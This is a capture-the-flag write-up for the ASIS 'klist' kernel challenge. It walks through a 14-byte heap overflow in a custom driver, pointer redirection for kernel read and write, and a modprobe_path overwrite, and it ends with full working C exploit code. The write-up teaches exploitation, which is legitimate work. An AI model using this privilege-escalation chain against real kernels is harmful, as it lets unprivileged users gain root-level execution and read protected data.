Lost in the Linked List: Turning a 14-Byte Heap Overflow into Arbitrary Kernel Read/Write

This challenge is klist from ASIS CTF Finals 2025. You can try it yourself; the challenge files are available here

1. Challenge overview

The challenge exposes /dev/klist, a character device that manages a linked list of fixed-size entries. The goal is to exploit an out-of-bounds heap write and read the flag exposed to the guest as /dev/vda.

The local launcher uses:

-append "oops=panic panic=1 console=ttyS0 nokaslr quiet"
-drive id=flag,file="./flag.txt",format=raw,if=virtio

Important consequences:

  • KASLR is disabled, so kernel symbols such as modprobe_path have stable addresses for this kernel build.
  • flag.txt is presented as the raw block device /dev/vda.
  • SMEP and SMAP are enabled, so a data-only attack is preferable to executing userspace code directly from kernel context.

2. Recovering the structures

The module contains DWARF information, which exposes these internal layouts:

struct klist_entry {
    char data[96];              // 0x00
    struct klist_entry *next;   // 0x60
    size_t pos;                 // 0x68
};                              // sizeof = 0x70

struct klist_fd {
    struct klist_entry *head;   // 0x00
    size_t max_index;           // 0x08
    size_t count;               // 0x10
    struct mutex lock;          // 0x18
};                              // sizeof = 0x38

IDA initially displays raw offset accesses:

*(_QWORD *)(entry + 96)   // entry->next
*(_QWORD *)(entry + 104)  // entry->pos

The userspace request structures are separate from those kernel-internal structures:

struct klist_add_req {
    char data[96];
};

struct klist_modify_req {
    uint32_t index;
    uint32_t length;
    char data[96];
};

struct klist_get_req {
    uint32_t index;
    char data[96];
};

_Static_assert(sizeof(struct klist_add_req) == 0x60, "bad ADD ABI");
_Static_assert(sizeof(struct klist_modify_req) == 0x68, "bad MODIFY ABI");
_Static_assert(sizeof(struct klist_get_req) == 0x64, "bad GET ABI");

The ioctl numbers are:

#define KLIST_ADD    _IOW ('k', 0, struct klist_add_req)
#define KLIST_MODIFY _IOW ('k', 1, struct klist_modify_req)
#define KLIST_GET    _IOWR('k', 2, struct klist_get_req)

They evaluate to:

ADD     0x40606b00
MODIFY  0x40686b01
GET     0xc0646b02

3. Understanding the normal operations

ADD

ADD copies 96 bytes from userspace, allocates a 0x70-byte entry, and appends it to the linked list:

entry = kmalloc(sizeof(*entry), GFP_KERNEL);
memcpy(entry->data, request.data, 96);
entry->next = NULL;
entry->pos = strnlen(entry->data, 96);

The request always transfers 96 bytes, but pos is determined by the first zero byte. For example:

AAAAAAAAAA\0... -> pos = 10
90 nonzero bytes followed by \0 -> pos = 90
96 nonzero bytes -> pos = 96

The module also prints the allocation with %px:

klist: added node@0xff...

That provides a raw kernel heap pointer through the kernel log.

GET

GET treats the first request field as a zero-based list index:

GET(0) -> head
GET(1) -> head->next
GET(2) -> head->next->next

Once it finds the requested entry, it copies the first 96 bytes to userspace:

copy_to_user(user_request.data, entry, 96);

Because data begins at offset zero, this returns entry->data.

MODIFY

MODIFY finds an entry by index and uses its stored pos as the destination offset:

if (request.length < 1 || request.length > 96)
    return -EINVAL;

entry = find_entry(request.index);

if (entry->pos <= 95) {
    memcpy(entry->data + entry->pos,
           request.data,
           request.length);

    entry->pos = strnlen(entry->data, 96);
} else {
    entry->pos = 0;
}

The compiler moved the memcpy() branch into klist_ioctl.cold in .text.unlikely. In the relocatable .ko, the branch is connected through an ELF relocation rather than an ordinary encoded cross-reference.

4. Root cause

The driver checks these values separately:

entry->pos <= 95
request.length <= 96

It never checks their sum:

entry->pos + request.length <= sizeof(entry->data)

Therefore, a valid length can begin close to the end of data and continue into the entry metadata.

For example:

pos    = 90 = 0x5a
length = 14 = 0x0e
range  = [0x5a, 0x68)

The mapping is:

entry offsets 0x5a..0x5f -> final six bytes of data
entry offsets 0x60..0x67 -> complete next pointer

Only 14 bytes are needed to replace entry->next.

5. Building a controlled list

Three entries make it easy to verify list traversal:

NODE0 -> NODE1 -> NODE2 -> NULL

NODE0 must have pos = 90:

char node0[96];
memset(node0, 'A', sizeof(node0)); 
node0[90] = '\0';
// same for B & C

klist_add(fd, node0, sizeof(node0));
// same for node1 & node2

NODE1 and NODE2 contain recognizable B and C patterns. Their leaked addresses are collected from the module's added node@%px messages.

Before corruption:

GET(0) -> AAAAA...
GET(1) -> BBBBB...
GET(2) -> CCCCC...

6. Overwriting NODE0->next

The MODIFY write begins at entry offset 90. next begins at offset 0x60, or decimal 96:

bytes before next = 96 - 90 = 6
pointer size       = 8
total write length = 6 + 8 = 14

The PoC constructs that 14-byte overwrite directly:

unsigned long modprobe_path = 0xffffffff82b426e0;

char modify0[14];
memset(modify0, 'D', sizeof(modify0));
memcpy(modify0 + 6, &modprobe_path, sizeof(modprobe_path));

klist_modify(fd, 0, sizeof(modify0), modify0);

The payload maps onto NODE0 as follows:

modify0[0..5]  = "DDDDDD"       -> NODE0.data[90..95]
modify0[6..13] = modprobe_path  -> NODE0.next

The logical list therefore becomes:

NODE0 -> modprobe_path

Because modify0[0] is D, the zero at NODE0.data[90] is removed. strnlen() recalculates NODE0.pos as 96. The current PoC uses this as a one-shot redirect and does not redirect NODE0.next again before obtaining the flag.

7. Turning the redirect into a kernel read

If:

NODE0.next = B

then:

klist_get(fd, 1, output);

performs:

copy_to_user(output, (void *)B, 96);

This gives a controlled 96-byte kernel read from address B.

Pointing NODE0.next at modprobe_path demonstrates it:

GET(1) -> "/sbin/modprobe"

The output originally labelled node0 after redirect was actually the contents of modprobe_path; index 1 followed NODE0.next.

8. Understanding the constrained write

After redirecting NODE0.next = B, MODIFY(1) treats address B as though it were a real klist_entry:

p = *(uint64_t *)(B + 0x68)

if p <= 95:
    write request.length bytes at B + p
    write strnlen(B, 96) back to B + 0x68

This is not immediately an unconstrained arbitrary write. The memory at B + 0x68 controls the write offset and must pass the p <= 95 check.

9. Why modprobe_path satisfies the constraint

On this kernel build:

modprobe_path = 0xffffffff82b426e0

got this easily with bata24/gef with the command kmagic

The address must be resolved from the target kernel symbols rather than assumed to be universal.

modprobe_path is a large character array initialized as:

/sbin/modprobe\0 00 00 00 ...

The bytes at:

modprobe_path + 0x68

are zero. Therefore, when MODIFY(1) treats modprobe_path as a fake entry:

B = modprobe_path
p = *(uint64_t *)(B + 0x68) = 0
destination = B + p = modprobe_path

The write becomes:

memcpy(modprobe_path, request.data, request.length);

A second MODIFY performs the replacement through the fake entry:

char modify1[14];
strcpy(modify1, "/tmp/x\x00");

klist_modify(fd, 1, sizeof(modify1), modify1);

strcpy() places /tmp/x and its terminating zero in the first seven bytes. The remaining seven bytes are uninitialized stack data, but they are after the terminating zero and do not alter the path interpreted by the kernel. Zero-initializing modify1 would make this deterministic.

After the copy, the driver computes:

strnlen("/tmp/x", 96) = 6

and stores 6 at modprobe_path + 0x68. That location is beyond the terminating zero and does not affect the visible path.

10. Preparing the privileged helper

Before triggering the module loader, the PoC creates /tmp/x:

#!/bin/sh
cat /dev/vda > /tmp/f

and marks it executable:

chmod +x /tmp/x

This can be done from C with:

system("echo '#!/bin/sh' > /tmp/x");
system("echo 'cat /dev/vda > /tmp/f' >> /tmp/x");
system("chmod +x /tmp/x");

The PoC itself remains unprivileged. The objective is to make the kernel run /tmp/x as a privileged userspace helper.

11. Triggering modprobe_path

On this target, creating an unsupported AF_ALG socket causes the kernel to request a module:

socket(AF_ALG, SOCK_SEQPACKET, 0);

The module-loading path executes the program named by modprobe_path. Because it now contains /tmp/x, the kernel runs:

/tmp/x

with kernel-user-helper privileges. The script reads the protected raw block device:

cat /dev/vda > /tmp/f

The PoC finally displays the copied flag:

system("cat /tmp/f");

This produces:

ASIS{FAKE_FLAG}

klist.png The flag is not printed automatically by becoming root. The privileged helper copies it, and the original PoC explicitly prints the copy.

12. Complete exploitation chain

1. Open /dev/klist
2. Create /tmp/x, which copies /dev/vda to /tmp/f
3. ADD NODE0 with a zero at data[90], making pos = 90
4. ADD NODE1 and NODE2
5. Read the raw node addresses from the %px kernel messages
6. Overflow NODE0.data by 14 bytes
7. Modify NODE0.next with the address of modprobe_path
8. GET(1) and verify that it returns "/sbin/modprobe"
9. MODIFY(1); modprobe_path+0x68 is zero, so the write begins at offset 0
10. Replace "/sbin/modprobe" with "/tmp/x"
11. Trigger a module request with socket(AF_ALG, SOCK_SEQPACKET, 0)
12. The kernel executes /tmp/x as a privileged helper
13. /tmp/x copies /dev/vda to /tmp/f
14. Print /tmp/f

full exploit code

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/socket.h>

#define DEVICE_NAME "/dev/klist"

struct klist_add_s {
    char data[96];
};

struct klist_modify_s {
    uint32_t index;
    uint32_t length;
    char data[96];
};

struct klist_get_s {
    uint32_t index;
    char data[96];
};
uint64_t get_fp(void) {
    FILE *fp;
    char buffer[1024];
    uint64_t node = 0;

    fp = popen("dmesg | grep 'klist: added node@' | tail -n 1", "r");
    if (fp == NULL) {
        perror("popen dmesg");
        return 0;
    }
    
    if (fgets(buffer, sizeof(buffer), fp) != NULL) {
        char *ptr = strstr(buffer, "node@");
        if (ptr)
            node = strtoull(ptr + 5, NULL, 16);
    }
    pclose(fp);
    
    if (!node)
        fprintf(stderr, "[-] failed to parse latest klist node address\n");

    return node;
}

_Static_assert(sizeof(struct klist_add_s) == 0x60, "bad add layout");
_Static_assert(sizeof(struct klist_modify_s) == 0x68, "bad modify layout");
_Static_assert(sizeof(struct klist_get_s) == 0x64, "bad get layout");

#define ADD    _IOW('k', 0, struct klist_add_s)
#define MODIFY _IOW('k', 1, struct klist_modify_s)
#define GET    _IOWR('k', 2, struct klist_get_s)

int klist_add(int fd, const void *data, size_t size) {
    struct klist_add_s add = {0};

    if (size > sizeof(add.data) || (size && !data)) {
        errno = EINVAL;
        return -1;
    }

    memcpy(add.data, data, size);
    return ioctl(fd, ADD, &add);
}

int klist_modify(int fd, uint32_t index, uint32_t length,
                 const void *data) {
    struct klist_modify_s modify = {0};

    if (!data || length == 0 || length > sizeof(modify.data)) {
        errno = EINVAL;
        return -1;
    }

    modify.index = index;
    modify.length = length;
    memcpy(modify.data, data, length);
    return ioctl(fd, MODIFY, &modify);
}

int klist_get(int fd, uint32_t index, char output[96]) {
    struct klist_get_s get = {0};

    if (!output) {
        errno = EINVAL;
        return -1;
    }

    get.index = index;

    int ret = ioctl(fd, GET, &get);
    if (ret == 0)
        memcpy(output, get.data, sizeof(get.data));

    return ret;
}


void setup(){
    system("echo '#!/bin/sh' > /tmp/x");
    system("echo 'cat /dev/vda > /tmp/f' >> /tmp/x");
    system("chmod +x /tmp/x");
}


int main(void) {
    int fd = open(DEVICE_NAME, O_RDWR);
    if (fd < 0) {
        perror("open");
        return EXIT_FAILURE;
    }
    setup();
    puts("[+] prepared helper /tmp/x: /dev/vda -> /tmp/f");

    char NODE0[0x100] = {0};
    memset(NODE0, 'A', sizeof(NODE0));
    NODE0[90] = '\0';

    char NODE1[0x100] = {0};
    memset(NODE1, 'B', sizeof(NODE1));
    NODE1[90] = '\0';

    char NODE2[0x100] = {0};
    memset(NODE2, 'C', sizeof(NODE2));
    NODE2[90] = '\0';

    klist_add(fd, NODE0, 0x60);
    uint64_t node0_fp = get_fp();
    printf("[+] NODE0 @ 0x%016" PRIx64 "\n", node0_fp);

    klist_add(fd, NODE1, 0x60);
    uint64_t node1_fp = get_fp();
    printf("[+] NODE1 @ 0x%016" PRIx64 "\n", node1_fp);

    klist_add(fd, NODE2, 0x60);
    uint64_t node2_fp = get_fp();
    printf("[+] NODE2 @ 0x%016" PRIx64 "\n", node2_fp);

    for (uint32_t index = 0; index < 3; index++) {
        char output[0x60] = {0};

        if (klist_get(fd, index, output) < 0) {
            perror("klist_get");
            close(fd);
            return EXIT_FAILURE;
        }

        printf("[+] GET(%u) -> NODE%u: %.*s\n",
               index, index, (int)sizeof(output), output);
    }

    uint64_t modprobe_path = 0xffffffff82b426e0;
    printf("[*] redirecting NODE0->next to modprobe_path @ 0x%016"
           PRIx64 "\n", modprobe_path);
    
    char modify0[14];
    memset(modify0, 'D', sizeof(modify0));
    memcpy(modify0 + 6, &modprobe_path, sizeof(modprobe_path));
    klist_modify(fd, 0, sizeof(modify0), modify0);

    char output[96] = {0};
    if (klist_get(fd, 1, output) < 0) {
        perror("klist_get after redirect");
        return EXIT_FAILURE;
    }
    printf("[+] GET(1) -> modprobe_path before overwrite: %.*s\n",
           (int)sizeof(output), output);


    char modify1[14] = {0};
    strcpy(modify1, "/tmp/x\x00");
    klist_modify(fd, 1, sizeof(modify1), modify1);

    memset(output, 0, sizeof(output));
    if (klist_get(fd, 1, output) < 0) {
        perror("klist_get modprobe_path after overwrite");
        return EXIT_FAILURE;
    }
    printf("[+] GET(1) -> modprobe_path after overwrite:  %.*s\n",
           (int)sizeof(output), output);

    puts("[*] triggering a module request through AF_ALG");
    int sockfd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    if (sockfd >= 0)
        close(sockfd);

    puts("[+] privileged helper copied /dev/vda to /tmp/f:");
    fflush(stdout);
    system("cat /tmp/f");

    close(fd);
    return EXIT_SUCCESS;
}